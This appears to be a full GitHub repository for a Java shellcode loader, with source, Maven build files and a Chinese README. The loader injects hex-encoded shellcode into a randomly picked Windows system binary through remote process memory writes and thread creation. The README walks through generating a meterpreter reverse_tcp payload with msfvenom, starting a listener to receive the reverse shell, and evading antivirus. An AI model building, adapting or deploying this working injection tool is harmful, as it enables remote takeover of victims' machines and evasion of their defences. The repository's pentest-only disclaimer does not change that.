├── lib └── tinyjna.jar ├── src ├── META-INF │ └── MANIFEST.MF └── main │ ├── resources │ └── assembly.xml │ └── java │ └── asexploits │ └── ShellcodeLoader.java ├── README.assets └── image-20211205205857990.png ├── .gitignore ├── README.md └── pom.xml /lib/tinyjna.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/Java-Shellcode-Loader/HEAD/lib/tinyjna.jar -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: asexploits.ShellcodeLoader 3 | 4 | -------------------------------------------------------------------------------- /README.assets/image-20211205205857990.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/Java-Shellcode-Loader/HEAD/README.assets/image-20211205205857990.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Eclipse 5 | .project 6 | .classpath 7 | .settings/ 8 | 9 | # Intellij 10 | *.ipr 11 | *.iml 12 | *.iws 13 | .idea/ 14 | .vscode/ 15 | 16 | # Maven 17 | target/ 18 | 19 | # Gradle 20 | build 21 | .gradle 22 | 23 | # Log file 24 | *.log 25 | log/ 26 | 27 | # out 28 | **/out/ 29 | 30 | # Mac 31 | .DS_Store 32 | 33 | temp/ -------------------------------------------------------------------------------- /src/main/resources/assembly.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | jar-with-dependencies 4 | 5 | 6 | jar 7 | 8 | 9 | false 10 | 11 | 12 | 13 | / 14 | true 15 | true 16 | runtime 17 | 18 | 19 | 20 | 21 | / 22 | true 23 | true 24 | system 25 | 26 | 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Java ShellCode Loader 2 | 3 | 基于Java实现的ShellCode加载器,兼容32位及64位平台。 4 | 5 | 核心原理是利用Jna来调用Windows API,实现shellcode的注入。 6 | 7 | 运行环境:Jre >= 1.5 8 | 9 | 注:本项目已经内置在[yzddmr6/As-Exploits](https://github.com/yzddmr6/As-Exploits)的ShellCodeLoader模块中。 10 | 11 | ## 编译 12 | 13 | maven package 14 | 15 | ## 使用 16 | 17 | 默认会随机注入32位进程,请使用32位的shellcode 18 | 19 | ``` 20 | java -jar ShellcodeLoader.jar shellcode_hex 21 | ``` 22 | 23 | 注入x64位shellcode 24 | 25 | ``` 26 | java -jar ShellcodeLoader.jar --x64 shellcode_hex 27 | ``` 28 | 29 | ## 举例 30 | 31 | ### kali 32 | 33 | 生成hex格式的ShellCode 34 | 35 | ``` 36 | ┌──(root💀kali)-[~] 37 | └─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex 38 | [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 39 | [-] No arch selected, selecting arch: x86 from the payload 40 | No encoder specified, outputting raw payload 41 | Payload size: 354 bytes 42 | Final size of hex file: 708 bytes 43 | fce88f0000006089e531d2648b5.... 44 | ``` 45 | 46 | 然后开启监听 47 | 48 | ``` 49 | msfconsole 50 | use exploit/multi/handler 51 | set PAYLOAD windows/meterpreter/reverse_tcp 52 | set LHOST 192.168.88.10 53 | set LPORT 4444 54 | exploit -j 55 | ``` 56 | 57 | ### 客户端 58 | 59 | ``` 60 | java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5.... 61 | ``` 62 | 63 | 即可收到反弹的Meterpreter 64 | 65 | ## 免杀 66 | 67 | ![image-20211205205857990](README.assets/image-20211205205857990.png) 68 | 69 | ## 注意事项 70 | 71 | 本项目仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。 -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | asexploits 8 | ShellcodeLoader 9 | 1.0-SNAPSHOT 10 | 11 | asexploits.ShellcodeLoader 12 | https://github.com/yzddmr6/As-Exploits 13 | 14 | 15 | UTF-8 16 | 1.5 17 | 1.5 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | net.java.dev.jna 33 | jna-platform 34 | 1.2.0 35 | system 36 | ${project.basedir}/lib/tinyjna.jar 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | maven-clean-plugin 45 | 3.1.0 46 | 47 | 48 | 49 | maven-resources-plugin 50 | 3.0.2 51 | 52 | 53 | maven-compiler-plugin 54 | 3.8.0 55 | 56 | 57 | maven-surefire-plugin 58 | 2.22.1 59 | 60 | 61 | 62 | maven-assembly-plugin 63 | 64 | 65 | 66 | asexploits.ShellcodeLoader 67 | 68 | 69 | 70 | src/main/resources/assembly.xml 71 | 72 | 73 | 74 | 75 | make-assemble 76 | package 77 | 78 | single 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /src/main/java/asexploits/ShellcodeLoader.java: -------------------------------------------------------------------------------- 1 | package asexploits; 2 | 3 | import com.sun.jna.Memory; 4 | import com.sun.jna.Native; 5 | import com.sun.jna.Pointer; 6 | import com.sun.jna.platform.win32.Kernel32; 7 | import com.sun.jna.platform.win32.WinBase; 8 | import com.sun.jna.platform.win32.WinDef; 9 | import com.sun.jna.platform.win32.WinNT; 10 | import com.sun.jna.platform.win32.WinNT.HANDLE; 11 | import com.sun.jna.ptr.IntByReference; 12 | import com.sun.jna.win32.StdCallLibrary; 13 | import com.sun.jna.win32.W32APIOptions; 14 | 15 | import java.io.File; 16 | import java.util.Random; 17 | 18 | public class ShellcodeLoader { 19 | static Kernel32 kernel32; 20 | static IKernel32 iKernel32; 21 | public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"}; 22 | public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\fc.exe", "C:\\Windows\\System32\\ARP.EXE", "C:\\Windows\\System32\\expand.exe"}; 23 | 24 | static { 25 | kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); 26 | iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class); 27 | } 28 | 29 | 30 | public static void main(String[] args) { 31 | ShellcodeLoader jnaLoader = new ShellcodeLoader(); 32 | String shellcode = null; 33 | boolean is64 = false; 34 | switch (args.length) { 35 | case 1: 36 | is64 = false; 37 | shellcode = args[0]; 38 | break; 39 | case 2: 40 | if ("--x64".equals(args[0])) { 41 | is64 = true; 42 | } 43 | shellcode = args[1]; 44 | break; 45 | default: 46 | System.out.println("Usage: java -jar ShellcodeLoader.jar shellcode_hex \n" + 47 | "注入x64位shellcode: Usage: java -jar ShellcodeLoader.jar --x64 shellcode_hex"); 48 | System.exit(1); 49 | break; 50 | } 51 | 52 | 53 | System.out.println("\nShellcode: \n" + shellcode); 54 | jnaLoader.loadShellCode(shellcode, is64); 55 | } 56 | 57 | public void loadShellCode(String shellcodeHex) { 58 | this.loadShellCode(shellcodeHex, false); 59 | } 60 | 61 | public void loadShellCode(String shellcodeHex, boolean is64) { 62 | 63 | String[] targetProcessArray = null; 64 | //打乱数组顺序 65 | shuffleArray(ProcessArrayx64); 66 | shuffleArray(ProcessArrayx32); 67 | // java是64位且选择注入64位shellcode 68 | if (System.getProperty("sun.arch.data.model").equals("64") && is64) { 69 | targetProcessArray = mergeArrays(ProcessArrayx64, ProcessArrayx32); 70 | } else { //默认注入32位进程 71 | targetProcessArray = mergeArrays(ProcessArrayx32, ProcessArrayx64); 72 | } 73 | String targetProcess = null; 74 | for (int i = 0; i < targetProcessArray.length; i++) { 75 | targetProcess = targetProcessArray[i]; 76 | if (new File(targetProcess).exists()) { 77 | break; 78 | } 79 | } 80 | this.loadShellCode(shellcodeHex, targetProcess); 81 | 82 | } 83 | 84 | public static void shuffleArray(String[] arr) { 85 | Random rand = new Random(); 86 | for (int i = arr.length - 1; i > 0; i--) { 87 | int index = rand.nextInt(i + 1); 88 | String temp = arr[i]; 89 | arr[i] = arr[index]; 90 | arr[index] = temp; 91 | } 92 | } 93 | 94 | public static String[] mergeArrays(String[] a, String[] b) { 95 | String[] c = new String[a.length + b.length]; 96 | int i = 0; 97 | for (String s : a) { 98 | c[i] = s; 99 | i++; 100 | } 101 | for (String s : b) { 102 | c[i] = s; 103 | i++; 104 | } 105 | return c; 106 | } 107 | 108 | public void loadShellCode(String shellcodeHex, String targetProcess) { 109 | System.out.println("targetProcess: " + targetProcess); 110 | byte[] shellcode = hexStrToByteArray(shellcodeHex); 111 | int shellcodeSize = shellcode.length; 112 | IntByReference intByReference = new IntByReference(0); 113 | Memory memory = new Memory((long) shellcodeSize); 114 | 115 | for (int j = 0; j < shellcodeSize; ++j) { 116 | memory.setByte((long) j, shellcode[j]); 117 | } 118 | 119 | WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION(); 120 | WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO(); 121 | sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size()); 122 | if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) { 123 | Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); 124 | iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference); 125 | HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null); 126 | kernel32.WaitForSingleObject(hANDLE, -1); 127 | } 128 | } 129 | 130 | 131 | public static byte[] hexStrToByteArray(String str) { 132 | if (str == null) { 133 | return null; 134 | } else if (str.length() == 0) { 135 | return new byte[0]; 136 | } else { 137 | byte[] byteArray = new byte[str.length() / 2]; 138 | 139 | for (int i = 0; i < byteArray.length; ++i) { 140 | String subStr = str.substring(2 * i, 2 * i + 2); 141 | byteArray[i] = (byte) Integer.parseInt(subStr, 16); 142 | } 143 | 144 | return byteArray; 145 | } 146 | } 147 | 148 | interface IKernel32 extends StdCallLibrary { 149 | Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4); 150 | 151 | HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6); 152 | 153 | Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5); 154 | 155 | HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7); 156 | 157 | boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference); 158 | 159 | boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5); 160 | 161 | int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4); 162 | 163 | Pointer OpenProcess(int var1, boolean var2, int var3); 164 | 165 | Pointer GetCurrentProcess(); 166 | } 167 | } 168 | --------------------------------------------------------------------------------